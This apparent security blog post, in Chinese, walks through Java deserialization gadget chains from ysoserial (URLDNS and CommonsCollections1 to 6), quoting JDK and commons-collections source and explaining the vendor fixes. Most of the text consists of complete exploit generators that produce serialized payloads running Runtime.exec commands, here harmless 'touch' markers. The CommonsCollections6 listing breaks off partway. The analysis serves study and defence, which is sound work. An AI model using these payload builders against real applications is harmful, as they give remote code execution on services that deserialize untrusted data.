之前都是 ysoserial 一把梭, 还是得学习 + 复现一下内部实现机制的. 主要是对常见的 URLDNS 和 CommonsCollections1-7 这些利用链进行了分析, 相信看完理解其他利用链也不在话下.

URLDNS

最简单的一个, 这个成因就是 java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.


java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.


可以理解为, 在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value. 所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中. 而恰好, URL 这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求.

整条调用链如下:

Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()

URLDNS.java

package demo.rmb122;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap<URL, String> hashMap = new HashMap<URL, String>();
        URL url = new URL("http://xxxx.xxx.xxx");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 0xdeadbeef); // 设一个值, 这样 put 的时候就不会去查询 DNS
        hashMap.put(url, "rmb122");
        f.set(url, -1); // hashCode 这个属性不是 transient 的, 所以放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(hashMap);
    }
}

Test.java

package demo.rmb122;

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class Test {
    public static void main(String[] args) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
        ois.readObject();
    }
}

CommonsCollections1

这个利用链比较复杂, 借 ysoserial 自带的调用栈先看看吧,

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

首先是版本受限, 先看 ysoserial 自带的版本检测 (单元测试的时候用的),

public static boolean isAnnInvHUniversalMethodImpl() {
    JavaVersion v = JavaVersion.getLocalVersion();
    return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
}

亲测 u71 实际已经修复了 sun.reflect.annotation.AnnotationInvocationHandler 中的漏洞, 所以实际上 ysoseiral 检测的是有问题的...

应该是 v.update < 71 才对. 在 https://www.oracle.com/technetwork/java/javase/downloads/java-archive-javase8-2177648.html 可以下到老版 jdk.
以下代码均以小于 u71 的能下到的最新版本 u66 为例子.

这个链相对比较复杂, 所以倒着来, 从 LazyMap.get() 开始.

org.apache.commons.collections.map.LazyMap

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

在 get 这个 map 时, 如果内部的 map 不存在这个 key, 将会调用 this.factory.transform(key), 将结果作为返回值. 再来看属性定义

protected final Transformer factory;

而 Transformer 是一个基类, ChainedTransformer, ConstantTransformer, InvokerTransformer 均继承于此父类. 接下来看如果通过 this.factory.transform(key) 达到 RCE 的效果.

org.apache.commons.collections.functors.ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}

ChainedTransformer 的作用是将内部的 iTransformers 按顺序都调用一遍.

org.apache.commons.collections.functors.ConstantTransformer

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

ConstantTransformer 的作用是不管输入, 直接返回一个常量.

最后是重点 org.apache.commons.collections.functors.InvokerTransformer

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    this.iMethodName = methodName;
    this.iParamTypes = paramTypes;
    this.iArgs = args;
}

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

这个的作用是调用输入对象的一个方法, 并且参数可控, 这就非常牛逼了, 将这些结合起来, 如下

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(java.lang.Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
        new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/rmb122_pwned"}}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

这时调用 chainedTransformer.transform, 等价于 java.lang.Runtime.getRuntime().exec(new String[]{"/bin/touch", "/dev/shm/rmb122_pwned"}),
将 chainedTransformer 作为 Lazymapfactory, 再 get 一个不存在的 key, 就能达到 RCE 的目的.

问题就是现在缺少一个在 readObject 时 get 的对象, 而且最好是 jre 内置的. 这里就可以看到作者的牛逼之处, 毕竟这些类可不是随便找找就能找到的.

这里看 sun.reflect.annotation.AnnotationInvocationHandler 这个类的 invoke 方法,

// class AnnotationInvocationHandler implements InvocationHandler, Serializable {

AnnotationInvocationHandler(Class<? extends Annotation> paramClass, Map<String, Object> paramMap) {
    Class[] arrayOfClass = paramClass.getInterfaces();
    if (!paramClass.isAnnotation() || arrayOfClass.length != 1 || arrayOfClass[false] != Annotation.class)
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); 
    this.type = paramClass;
    this.memberValues = paramMap;
}

public Object invoke(Object paramObject, Method paramMethod, Object[] paramArrayOfObject) {
    String str = paramMethod.getName();
    Class[] arrayOfClass = paramMethod.getParameterTypes();
    if (str.equals("equals") && arrayOfClass.length == 1 && arrayOfClass[false] == Object.class)
        return equalsImpl(paramArrayOfObject[0]); 
    if (arrayOfClass.length != 0)
        throw new AssertionError("Too many parameters for an annotation method"); 
    switch (str) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return Integer.valueOf(hashCodeImpl());
        case "annotationType":
            return this.type;
    }

    Object object = this.memberValues.get(str); // <--- 这里调用了 get, 而且 memberValues 也是 Map 类型, 可以把 LazyMap 放在这里
    if (object == null)
        throw new IncompleteAnnotationException(this.type, str); 
    if (object instanceof ExceptionProxy)
        throw ((ExceptionProxy)object).generateException(); 
    if (object.getClass().isArray() && Array.getLength(object) != 0)
        object = cloneArray(object); 
    return object;
}

再来看这个类的 readObject

private void readObject(ObjectInputStream paramObjectInputStream) throws IOException, ClassNotFoundException {
    paramObjectInputStream.defaultReadObject();
    AnnotationType annotationType = null;

    try {
        annotationType = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException illegalArgumentException) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    } 

    Map map = annotationType.memberTypes();
    for (Map.Entry entry : this.memberValues.entrySet()) {
        String str = (String)entry.getKey();
        Class clazz = (Class)map.get(str);
        if (clazz != null) {
            Object object = entry.getValue();
            if (!clazz.isInstance(object) && !(object instanceof ExceptionProxy))
                entry.setValue((new AnnotationTypeMismatchExceptionProxy(object.getClass() + "[" + object + "]")).setMember((Method)annotationType.members().get(str))); 
        } 
    } 
}

关键点在 this.memberValues.entrySet(), 那么问题来了, 这里又跟 invoke 有什么关系呢.
这里涉及到 java 的动态代理机制, 这里不再赘述, 可以理解为调用这个方法实际上调用的是代理的 invoke, 在上面可以看到 AnnotationInvocationHandler 本身继承了 InvocationHandler 且重写了 invoke 方法. 刚好可以拿来利用, 接下来问题就很简单了, exp 如下

package demo.rmb122;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/rmb122_pwned_1"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        // 因为构造方法不是 public, 只能通过反射构造出来
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(obj);
    }
}

接下来问题是 java 是如何修复的呢? 一开始不知道已经修复, 复现出来导致还以为自己写错了 233
看到

public static boolean isApplicableJavaVersion() {
    return JavaVersion.isAnnInvHUniversalMethodImpl();
}

才发现有可能是 java 内部类动过的原因.

拿最新版的 readObject 与上面 u66 版本的对比一下

private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    GetField fields = s.readFields();
    Class<? extends Annotation> t = (Class)fields.get("type", (Object)null);
    Map<String, Object> streamVals = (Map)fields.get("memberValues", (Object)null);
    AnnotationType annotationType = null;

    try {
        annotationType = AnnotationType.getInstance(t);
    } catch (IllegalArgumentException var13) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();
    Map<String, Object> mv = new LinkedHashMap();

    String name;
    Object value;
    for(Iterator var8 = streamVals.entrySet().iterator(); var8.hasNext(); mv.put(name, value)) {
        Entry<String, Object> memberValue = (Entry)var8.next();
        name = (String)memberValue.getKey();
        value = null;
        Class<?> memberType = (Class)memberTypes.get(name);
        if (memberType != null) {
            value = memberValue.getValue();
            if (!memberType.isInstance(value) && !(value instanceof ExceptionProxy)) {
                value = (new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]")).setMember((Method)annotationType.members().get(name));
            }
        }
    }

    AnnotationInvocationHandler.UnsafeAccessor.setType(this, t);
    AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, mv);
}

可以看到很明显的两处变化是

AnnotationInvocationHandler.UnsafeAccessor.setType(this, t);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, mv);

其将反序列化后的 memberValues 设为了 mv, 而 mv 是

Map<String, Object> mv = new LinkedHashMap();

不是我们设置的 LazyMap, 这自然导致了在外层 AnnotationInvocationHandler 调用 proxy 时, 内层的 AnnotationInvocationHandler 的 memberValues 是 被重新设置的 LinkedHashMap, 而不是我们构造的 LazyMap, 自然就无法利用了.

看看 java 对 AnnotationInvocationHandler 的修复

ysoseiral 这个 exp 在 2015 年初被发布

查看 git 的 history, 可以看到在 2015 年 12 月被修复

java8u71 2016 年初发布

再看 commons-collections3 的修复:

在 readObject, writeObject 时都做了检测, 需要设置对应的 Property 为 true 才能反序列化 InvokerTransformer.

看这个漏洞的历史, 也是非常有趣的.

CommonsCollections2

还是先看调用栈

Gadget chain:
    ObjectInputStream.readObject()
        PriorityQueue.readObject()
            ...
                TransformingComparator.compare()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

这个 gadget 比较特殊的是用了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个内置类, 这个类的骚操作就是, 在调用他的 newTransformer 或者 getOutputProperties (这个方法内部会调用 newTransformer) 时, 会动态从字节码中重建一个类. 这就使得如果我们能操作字节码, 就能在创建类时执任意 java 代码.

public synchronized Transformer newTransformer() throws TransformerConfigurationException {
    TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);
    if (this._uriResolver != null) {
        transformer.setURIResolver(this._uriResolver);
    }

    if (this._tfactory.getFeature("http://javax.xml.XMLConstants/feature/secure-processing")) {
        transformer.setSecureProcessing(true);
    }

    return transformer;
}

private Translet getTransletInstance() throws TransformerConfigurationException {
        try {
            if (this._name == null) {
                return null;
            } else {
                if (this._class == null) {
                    this.defineTransletClasses(); // 这个方法里面调用了 ClassLoader 加载 bytecode
                }
//... 省略

同时在这个 gadget 中, 没有使用之前的 LazyMap, 而是使用的是 PriorityQueue + TransformingComparator 这套组合拳.
不过这个 exp 只对 CommonsCollections4 有效, 在 3 中 TransformingComparator 没有 implements Serializable, 导致无法序列化.

java.util.PriorityQueue

private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
    s.defaultReadObject();
    s.readInt();
    SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Object[].class, this.size);
    Object[] es = this.queue = new Object[Math.max(this.size, 1)];
    int i = 0;

    for(int n = this.size; i < n; ++i) {
        es[i] = s.readObject();
    }

    this.heapify();
}

PriorityQueue readObject 时, 在读取完对象后, 会调用 heapify 来进行排序, 而排序方法是可以自定义的 (利用 Comparator 接口), 配合上 TransformingComparator.

org.apache.commons.collections4.comparators.TransformingComparator (实现了 Comparator 接口)

public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

在排序时会先 transform 一下, 再结合喜闻乐见的 InvokeTransfer, 导致 RCE.

最后 exp 如下:

package demo.rmb122;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static class Placeholder {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));

        CtClass placeholder = classPool.get(Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
        placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"touch /dev/shm/rmb122_test1\");"); // 这里 insertBefore 还是 After 都一样
        placeholder.setName("demo.rmb122." + System.currentTimeMillis());

        byte[] bytecode = placeholder.toBytecode();

        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "rmb122");

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator comparator = new TransformingComparator(invokerTransformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] innerArr = (Object[]) field.get(queue);
        innerArr[0] = templates;
        innerArr[1] = templates;

        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, comparator);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(queue);
        oos.close();
    }
}

生成字节码用的是 ysoseiral 一样的 javassist, 可以在正常的字节码前后插入恶意 payload.
另外这里因为是运行的字节码, 所以其实变通方法很多, 如果只是想读写文件但有 RASP ban 掉了 Runtime.exec, 其实可以通过 File 来读写文件.

4 的修复方法比较粗暴, 直接干掉了 InvokerTransformer 的 Serializable 继承.

CommonsCollections3

这个与上面的 CommonsCollections1 接近, 区别是将一串的 InvokerTransformer 换成了 InstantiateTransformer, 利用刚刚在 CommonsCollections2 介绍的 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 导致 RCE. 本质是换汤不换药.

InstantiateTransformer 做的工作是

public Object transform(Object input) {
    try {
        if (!(input instanceof Class)) {
            throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
        } else {
            Constructor con = ((Class)input).getConstructor(this.iParamTypes);
            return con.newInstance(this.iArgs);
        }
    }

就是将类实例化, 也就是调用 input 的构造函数, 这里 InstantiateTransformer 能替换 InvokerTransformer 的原因是内置类 com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 在构造时,

public TrAXFilter(Templates templates) throws TransformerConfigurationException {
    this._templates = templates;
    this._transformer = (TransformerImpl)templates.newTransformer();
    this._transformerHandler = new TransformerHandlerImpl(this._transformer);
    this._overrideDefaultParser = this._transformer.overrideDefaultParser();
}

会调用 templates 的 newTransformer 方法, 其实这里 InstantiateTransformer 起到的作用是和 InvokerTransformer 一样的.

exp 如下

package demo.rmb122;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3 {
    public static class Placeholder implements Serializable {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";

        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(CommonsCollections3.Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));

        CtClass placeholder = classPool.get(CommonsCollections3.Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
        placeholder.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"touch /dev/shm/rmb122_test1\");");
        placeholder.setName("demo.rmb122." + System.currentTimeMillis());

        byte[] bytecode = placeholder.toBytecode();

        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "rmb122");

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName(TrAXFilter)),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(obj);
        oos.close();
    }
}

CommonsCollections4

这个与上面的 CommonsCollections2 接近, 区别是将 InvokerTransformer 替换为 InstantiateTransformer, 换汤不换药 + 1, 不再多做解释

package demo.rmb122;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;

import javax.xml.transform.Templates;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections4 {
    public static class Placeholder {
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String TrAXFilter = "com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter";

        ClassPool classPool = ClassPool.getDefault();
        classPool.insertClassPath(new ClassClassPath(Placeholder.class));
        classPool.insertClassPath(new ClassClassPath(Class.forName(AbstractTranslet)));

        CtClass placeholder = classPool.get(Placeholder.class.getName());
        placeholder.setSuperclass(classPool.get(Class.forName(AbstractTranslet).getName()));
        placeholder.makeClassInitializer().insertBefore("java.lang.Runtime.getRuntime().exec(\"touch /dev/shm/rmb122_test1\");");
        placeholder.setName("demo.rmb122." + System.currentTimeMillis());

        byte[] bytecode = placeholder.toBytecode();

        Object templates = Class.forName(TemplatesImpl).getConstructor(new Class[]{}).newInstance();
        Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
        fieldByteCodes.setAccessible(true);
        fieldByteCodes.set(templates, new byte[][]{bytecode});

        Field fieldName = templates.getClass().getDeclaredField("_name");
        fieldName.setAccessible(true);
        fieldName.set(templates, "rmb122");

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName(TrAXFilter)),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator comparator = new TransformingComparator(chainedTransformer);
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field = PriorityQueue.class.getDeclaredField("queue");
        field.setAccessible(true);
        Object[] innerArr = (Object[]) field.get(queue);
        innerArr[0] = templates;
        innerArr[1] = templates;

        field = PriorityQueue.class.getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(queue, comparator);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(queue);
        oos.close();
    }
}

CommonsCollections5

这个不是换汤不换药了, 用了一个新的利用链去触发 InvokerTransformer, 不过 ysoserial 上注释里面的调用链是错误的, 估计是忘记改了. 正确的如下:

Gadget chain:
    ObjectInputStream.readObject()
        BadAttributeValueExpException.readObject()
            TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

从注释里面还可以得到, 这个 chain 只能用于 >= 8u76, 且 SecurityManager 未设置的情况下使用.
原因是在 8u76 的更新里面, 添加了 javax.management.BadAttributeValueExpException 的 readObject 方法

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

可以看到, 在 System.getSecurityManager() == null 的情况下, 将会不管 valObj 的类型, 调用 toString 方法, 这里需要配合 org.apache.commons.collections.keyvalue.TiedMapEntry 来使用, 其重写的 toString 方法

public Object getValue() {
    return this.map.get(this.key);
}

public String toString() {
    return this.getKey() + "=" + this.getValue();
}

看到熟悉的 map.get 了么, 这里就又回到了 LazyMap 的那一套, 接下来也不用多说了, exp 如下:

package demo.rmb122;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/dev/shm/asdasd_1"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap hashMap = new HashMap<String, String>();

        Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("placeholder");
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, tiedMapEntry);

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
        oos.writeObject(badAttributeValueExpException);
        oos.close();
    }
}

另外, 这一条链, 其实 3, 4 都能使用, 不过 ysoseiral 只在 exp 里面写了 3 的, 实际上只要将 import 的 xxx.collections.xxx 全改成 xxx.collections4.xxx, 然后将 LazyMap.decorate 改为 LazyMap.LazyMap 就能直接给 4 使用.

CommonsCollections6

还是先看调用栈:

Gadget chain:
    java.io.ObjectInputStream.readObject()
        java.util.HashSet.readObject()
            java.util.HashMap.put()
            java.util.HashMap.hash()
                org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                    org.apache.commons.collections.map.LazyMap.get()
                        org.apache.commons.collections.functors.ChainedTransformer.transform()
                        org.apache.commons.collections.functors.InvokerTransformer.transform()
                        java.lang.reflect.Method.invoke()
                            java.lang.Runtime.exec()

这条与 CommonsCollections5 类似, 触发点由 BadAttributeValueExpException 改为 HashSet, 这里与 URLDNS 类似, 在反序列化时会重新计算对象的 hashCode, 而刚刚好 TiedMapEntry 的 hashCode 里面与 toString 一样也用到了 getValue.

public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }

不过这里比较奇怪的是 HashMap 就已经有 hashCode 了, 不知道为什么还要再套一层 HashSet. 我自己重新编写的时候是直接用的 HashMap 作为触发点.

exp 如下:

package demo.rmb122;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class CommonsCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fake = new Transformer[]{
                new ConstantTransformer("placeholder"),
        };

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
